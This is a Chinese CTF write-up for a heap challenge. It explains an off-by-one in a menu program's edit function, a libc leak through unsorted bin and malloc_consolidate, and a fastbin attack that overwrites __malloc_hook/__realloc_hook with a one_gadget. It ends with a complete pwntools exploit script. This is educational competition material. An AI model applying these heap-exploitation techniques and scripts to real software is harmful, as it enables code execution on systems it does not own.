漏洞分析
菜单题,注意到edit函数中在判断size时的一个异常的判断
可以看到当我们输入的size比创建堆块时输入的size恰好大10时可以产生一个off-by-one漏洞。因此我们可以考虑利用该漏洞进行堆溢出攻击。
可行性:我们采用下面的分配序列:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(0x18) add(0x90) add(0x68) add(0x8) delete(1) norm_size = 0x8 * 2 + chunk.maxSize(144) + 0x8 * 3
chunk.norm_size = norm_size max_size = chunk.maxSize(0x18)
edit(0, max_size + 10, b'a' * max_size + chunk[1][:1])
add(chunk.size2request(norm_size))
|
我们申请第二个堆块的大小为144,这使得它在被free后放到了unsorted
bin中,这里避免它被释放到fastbins中是因为fastbins中的堆块被分配时会对size域进行检查。相关的检查代码如下:
1 2 3 4 5 6 7
| if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; }
|
对第一个堆块使用edit操作覆盖了第二个堆块的size的低八位后,堆块结构如下:
经过简单的计算可以得知,第二个堆块已经覆盖了第三个堆块的前0x20个字节(到0x55ba434470e0)。再次malloc,我们便可以获得对第三个堆块的控制权,如下图所示。
接下来我们只需泄露libc再利用fastbin
attack修改free_hook为one_gadget即可。
泄露libc
说到泄露libc,我们首先想到使用unsortedbin
attack泄露。为了将第三个块放入unsorted
bin,我们可首先使用edit修复第三个块的size域为0x21,接下来free使其进入fastbin。我们知道,malloc_consolidate函数会将fastbin中的所有块放入unsorted
bin,又有scanf函数在接受超长的字符串时会触发malloc_consolidate。可以进行如下的操作:
1 2 3 4 5 6 7 8 9 10
| chunk.req_size = 0x68 max_size = chunk.maxSize(0x90) edit(1, max_size + 0x8, max_size * b'a' + chunk[1])
delete(2)
a.sla("choice: ", '6' * 0x420)
show(1)
|
至此,libc被成功泄露,我们只需劫持控制流到one_gadget即可。首先通过fastbin
attack修改malloc_hook为one_gadget,并通过一次add触发:
1 2 3 4 5 6 7 8
| add(0x68) chunk.fd = chunk_addr delete(2) edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3]) add(0x68) add(0x68) edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(0) + p64(one_addr)) add(1)
|
然而实测中找不到有效的gadget,这里需要使用一个知识点:由于__malloc_hook上方便是__realloc_hook,因此实际应用中可以将__malloc_hook劫持到__libc_realloc函数调用__realloc_hook前的位置,再将__realloc_hook劫持到one_gadget。这样操作的作用在于借用__libc_realloc函数头部pop,sub
rsp等指令来调整栈帧,从而使one_gadget起效。
经过上述修改后,完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * from sys import argv from autopwn.core import *
def exp(self, a:pwnlib.tubes.tube.tube): choose = lambda x: a.sla("choice: ", str(x)) chunk = Chunk(ARCH_x64) chunk.A = MAIN_ARENA chunk.M = NOT_MMAPPED chunk.P = PREV_INUSE
mhook_offset = self.lib[0].symbols['__malloc_hook'] rhook_offset = self.lib[0].symbols['__realloc_hook'] chunk_offset = mhook_offset - 0x3 - 0x8 * 4 system_offset = self.lib[0].symbols['system'] realloc_offset = self.lib[0].symbols['realloc'] arena_offset = mhook_offset + (mhook_offset - rhook_offset) * 2 one_offset = 0xf02a4
def add(size): choose(1) a.sla("size: ", str(size))
def edit(idx, size, txt): choose(2) a.recvline() a.sla("index: ", str(idx)) a.sla("size: ", str(size)) a.recvuntil("content: ") a.send(txt)
def delete(idx): choose(3) a.sla("index: ", str(idx))
def show(idx): choose(4) a.sla("index: ", str(idx))
gdb.attach(a, breakat(self.elf, [0x000CCC]))
add(0x18) add(0x90) add(0x68) add(0x8) delete(1) norm_size = 0x8 * 2 + chunk.formSize(144) + 0x8 * 4 chunk.norm_size = norm_size max_size = chunk.maxSize(0x18) edit(0, max_size + 10, max_size * b'a' + chunk[1][:1]) print(norm_size) add(chunk.size2request(norm_size))
chunk.req_size = 0x68 max_size = chunk.maxSize(0x90) edit(1, max_size + 0x8, max_size * b'a' + chunk[1]) delete(2) a.sla("choice: ", '6' * 0x420) show(1)
a.ru("content: ") a.recvn(160) arena_addr = u64(a.recvn(8)) - 184 chunk_addr = arena_addr + chunk_offset - arena_offset one_addr = arena_addr + one_offset - arena_offset realloc_addr = arena_addr + realloc_offset - arena_offset log.success(f"{arena_addr=:#x}") log.success(f"{chunk_addr=:#x}")
add(0x68) chunk.fd = chunk_addr delete(2) edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3]) add(0x68) add(0x68) edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(one_addr) + p64(realloc_addr + 16)) add(1) return
def get_flag(self, a:pwnlib.tubes.tube.tube): a.interactive() return None
ctf(argv, exp, get_flag, inter="../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so", needed=["../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so"])
|